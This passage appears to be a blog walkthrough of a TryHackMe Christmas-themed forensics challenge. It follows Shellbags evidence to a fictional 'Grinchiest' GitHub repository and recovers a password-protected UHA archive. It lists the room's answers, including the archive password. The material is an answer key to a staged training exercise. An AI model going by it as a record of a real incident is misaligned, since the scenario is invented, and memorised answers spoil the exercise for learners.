“SantaRat”. Could this be a remote access trojan, that was used for further nefarious activity on Santa’s laptop? Unfortunately, from just Shellbags alone, we only have insight into folder names (sometimes files, if we are lucky) and column data within Windows Explorer, but not files… how could we uncover more details?</p><p>Drill down into the folders and see if you can find anything that might indicate how we could better track down what this SantaRat really is. <strong>What specific folder name clues us in that this might be publicly accessible software hosted on a code-sharing platform?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*7kxMBSRxOsaWLxpoeYFCag.png" /></figure><blockquote>.github</blockquote><p>Additionally, there is a unique folder named “Bag of Toys” on the Desktop! This must be where Santa prepares his collection of toys, and this is certainly sensitive data that the actor could have compromised. <strong>What is the name of the file found in this folder?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*RZ9DPkSNbC5GeqOUeoe22g.png" /></figure><blockquote>bag_of_toys.zip</blockquote><p>Track down this SantaRat software online. It may be just as simple as searching for the name of the software on the suggested website (Github).</p><p><em>Note that the TryHackMe Windows analysis machine does not have Internet access, so you will need to explore in your own web browser.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*C-pr6rW7jCH4bCCw5GMX3w.png" /></figure><p><strong>What is the name of the user that owns the SantaRat repository?</strong></p><blockquote>Grinchiest</blockquote><p>Explore the other repositories that this user owns. <strong>What is the name of the repository that seems especially pertinent to our investigation?</strong></p><blockquote><a href="https://github.com/Grinchiest/operation-bag-of-toys">operation-bag-of-toys</a></blockquote><p>Read the information presented in this repository. It seems as if the actor has, in fact, compromised and tampered with Santa’s bag of toys! You can review the activity in the transcription logs. It looks as if the actor installed a special utility to collect and eventually exfiltrate the bag of toys. <strong>What is the name of the <em>executable</em> that installed a unique utility the actor used to collect the bag of toys?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5FwPCnw82ue6VaYUMkb6RA.png" /></figure><blockquote>uharc-cmd-install.exe</blockquote><p>In the last transcription log, you can see the activity that this actor used to tamper with Santa’s bag of toys! It looks as if they collected the original contents with a <a href="https://fileinfo.com/extension/uha">UHA</a> archive. A UHA archive is similar to a ZIP or RAR archive, but faster and with better compression rates. It is very rare to see, but it looks the Grinch Enterprises are pulling out all the tricks!</p><p>You can see the actor compressed the original contents of the bag of toys with a password. Unfortunately, we are unable to see what the specific password was in these transcription logs! Perhaps we could find it elsewhere…</p><p>Following this, the actor looks to have removed everything from the bag of toys, and added in new things like coal, mold, worms, and more! <strong>What are the contents of these “malicious” files (coal, mold, and all the others)?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*PAubEt3-TW98SfUNP4TWuA.png" /></figure><blockquote>GRINCHMAS</blockquote><p>We know that the actor seemingly collected the original bag of toys. Maybe there was a slight OPSEC mistake, and we might be able to recover Santa’s Bag of Toys! Review the actor’s repository for its planned operations… maybe in the commit messages, we could find the original archive and the password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/0*7KmRpFk1jql08r9k.png" /></figure><blockquote>No answer needed — Submit</blockquote><p><strong>What is the password to the original bag_of_toys.uha archive? </strong>(You do not need to perform any password-cracking or bruteforce attempts)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*pLkgy76J8Sln9l9t0HjvHA.png" /></figure><blockquote>TheGrinchiestGrinchmasOfAll</blockquote><p>McSkidy was able to download and save a copy of the bag_of_toys.uha archive, and you have it accessible on the Desktop of the Windows analysis machine. After uncovering the password from the actor&#39;s GitHub repository, you have everything you need to restore Santa&#39;s original bag of toys!!</p><p>Double-click on the archive on the desktop to open a graphical UHARC extraction utility that has been prepared for you. Using the password you uncovered, extract the contents into a location of your choosing (you might make a “Bag of Toys” directory on the Desktop to save all the files into).</p><p>With that, you have successfully recovered the original contents of Santa’s Bag of Toys! You can view these in the Windows Explorer file browser to see how many were present.</p><p>Head over to “bags_of_toys” icon on desktop and click to open it.</p><p>Enter the password to extract the archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*VOonR2FRRvBsc0A-9dqQXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*2pCCr-OnDcuLSr-LMHcYmg.png" /></figure><p><strong>How many original files were present in Santa’s Bag of Toys?</strong></p><blockquote>228</blockquote><p>You can extract files into new folder and explore further.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a478231709c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>